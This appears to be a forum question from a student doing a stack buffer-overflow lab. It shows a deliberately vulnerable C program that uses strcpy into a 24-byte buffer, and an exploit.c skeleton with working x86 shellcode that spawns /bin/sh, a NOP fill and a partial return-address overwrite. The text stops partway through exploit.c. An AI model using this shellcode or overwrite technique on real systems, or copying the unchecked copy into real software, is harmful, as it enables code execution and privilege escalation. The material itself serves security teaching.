exploit.c -- buffer overflow

I am writing exploit.c for my buffer overflow program and am lost trying to get return address. The code return below is my strategy, where ret would be the return address.

How do I get this return address from the gdb? (Base code is at the end.)

My strategy was to set a break point at bof function in stack and run the code and use the saved eip there as the return address.

long* ptr = (long*)(buffer + 24);
 ret = 0x-------;
*ptr = ret;
 strcpy(buffer + 517 - strlen(shellcode), shellcode);

Shouldn't this piece of code do the job for me? Why do I need to fill any part of buffer array with other information?

Base code:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[24];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);